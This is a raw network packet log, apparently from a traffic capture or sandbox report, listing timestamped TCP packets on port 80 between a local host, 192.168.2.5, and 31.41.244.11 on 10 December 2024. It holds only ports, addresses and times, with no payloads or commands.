Dec 10, 2024 05:10:11.791486025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.791543007 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.791789055 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.791837931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.791965961 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.792067051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.792109966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.792996883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.793051004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.793158054 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.793220997 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.794045925 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.794102907 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.794138908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.794188976 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.795053005 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.795133114 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.795162916 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.795205116 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.796072960 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.796188116 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.796232939 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.797096014 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.797135115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.797144890 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.797173023 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.798119068 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.798166990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.798230886 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.798275948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.799185991 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.799235106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.799271107 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.799335957 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.800180912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.800229073 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.800299883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.800471067 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.801194906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.801264048 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.801299095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.801343918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.802225113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.802273035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.802349091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.802393913 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.803258896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.803308010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.803415060 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.803459883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.804265022 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.804341078 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.804372072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.804415941 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.805284977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.805327892 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.805394888 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.805435896 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.806298018 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.806345940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.806410074 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.806452990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.807326078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.807420015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.807466030 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.808341026 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.808393955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.808448076 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.808490992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.809356928 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.809401035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.809458971 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.809504032 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.810399055 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.810467005 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.810497046 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.810533047 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.811425924 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.811563969 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.811620951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.812436104 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.812495947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.812527895 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.812578917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.813509941 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.813597918 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.813606977 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.813640118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.814482927 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.814539909 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.814605951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.814651966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.815526009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.815649033 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.815809011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.816534042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.816590071 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.816591978 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.816643000 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.817558050 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.817636013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.817670107 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.817707062 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.818571091 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.818625927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.818670034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.818720102 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.819607973 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.819716930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.819766998 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.820624113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.820677996 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.820734024 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.820779085 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.821656942 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.821732044 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.821753025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.821789980 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.822709084 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.822824001 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.822824955 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.822865009 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.823700905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.823817015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.823867083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.824714899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.824759960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.824841976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.824882030 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.825728893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.825769901 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.825903893 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.825943947 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.826755047 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.826790094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.826801062 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.826828957 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.827802896 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.827902079 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.827946901 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.828824043 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.828872919 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.828924894 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.828965902 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.829840899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.829888105 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.829905987 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.829946995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.830859900 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.830905914 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.830952883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.830993891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.831882000 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.832041025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.832093954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.832907915 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.832998991 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.833025932 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.833077908 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.833923101 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.833969116 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.834037066 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.834099054 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.834969044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.835016012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.835125923 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.835167885 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.836085081 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.836138010 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.836399078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.836441040 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.837006092 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.837018013 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.837085962 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.838232040 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.838288069 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.838315964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.838361979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.839059114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.839108944 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.839160919 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.839205027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.840070009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.840115070 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.840166092 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.840209007 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.841080904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.841128111 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.841192961 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.841238022 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.842114925 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.842180967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.842221975 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.842267990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.843138933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.843188047 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.843211889 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.843290091 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.844173908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.844219923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.844300985 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.844347954 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.983671904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.983721018 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.983741045 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.983768940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.983985901 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.984036922 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.984067917 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.984114885 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.985006094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.985054970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.985124111 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.985168934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.986016035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.986063004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.986108065 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.986154079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.987006903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.987055063 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.987132072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.987180948 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.988058090 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.988106012 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.988171101 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.988214970 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.989048004 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.989094019 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.989164114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.989212036 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.990058899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.990111113 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.990221977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.990267038 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.991084099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.991132021 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.991226912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.991271973 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.992146969 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.992194891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.992234945 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.992283106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.993155003 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.993201017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.993314981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.993360043 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.994163036 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.994282007 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.994332075 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.995218992 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.995362997 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.995413065 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.996233940 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.996282101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.996365070 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.996411085 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.997239113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.997283936 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.997361898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.997406960 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.998250961 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.998296022 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.998389006 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.998435020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.999289036 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.999413967 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.999464035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.000319958 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.000365973 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.000402927 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.000452042 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.001363993 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.001451015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.001493931 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.002372026 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.002389908 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.002418041 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.002444029 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.003353119 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.003529072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.003575087 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.004414082 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.004462004 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.004532099 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.004576921 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.005459070 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.005501986 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.005505085 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.005546093 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.006524086 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.006567001 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.006571054 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.006604910 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.007462025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.007546902 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.007596016 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.008501053 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.008543968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.008601904 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.008646011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.009541988 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.009586096 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.009674072 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.009717941 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.010545015 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.010610104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.010646105 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.010688066 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.011576891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.011758089 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.011807919 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.012600899 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.012648106 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.012739897 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.012784958 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.013613939 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.013678074 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.013708115 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.013753891 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.014655113 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.014698982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.014729977 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.014772892 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.015678883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.015768051 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.015815020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.016685009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.016733885 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.016799927 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.016838074 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.017750025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.017796040 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.017884016 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.017924070 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.018737078 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.018779993 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.018802881 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.018852949 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:12.019757032 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:12.019922972 CET	80	49833	31.41.244.11	192.168.2.5
